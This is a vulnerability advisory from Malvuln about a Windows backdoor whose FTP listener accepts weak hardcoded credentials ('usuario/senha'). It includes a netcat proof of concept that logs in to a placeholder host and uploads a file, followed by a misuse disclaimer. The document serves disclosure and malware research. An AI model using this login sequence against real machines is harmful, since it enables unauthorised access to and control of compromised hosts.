Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/e3bb503f9b02cf57341695f30e31128f.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.HoneyPot.a Vulnerability: Weak Hardcoded Password Description: The malware listens on various TCP ports of which one can be port 21 when enabled. Authentication is required, however the credentials "usuario/senha" are weak and found within the PE file. Family: HoneyPot Type: PE32 MD5: e3bb503f9b02cf57341695f30e31128f Vuln ID: MVID-2022-0622 Disclosure: 07/15/2022 Exploit/PoC: 'senha' is password in Portuguese C:\>nc64.exe x.x.x.x 21 220 Wu-ftpd 1.6.9 USER usuario 331 Password required for usuario. PASS senha 230 User usuario logged in. SYST 215 UNIX Type: L8 Internet Component Suite PASV 227 Entering Passive Mode (192,168,18,125,218,13). STOR DOOM.exe 150 Opening data connection for DOOM.exe. 226 File received ok Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).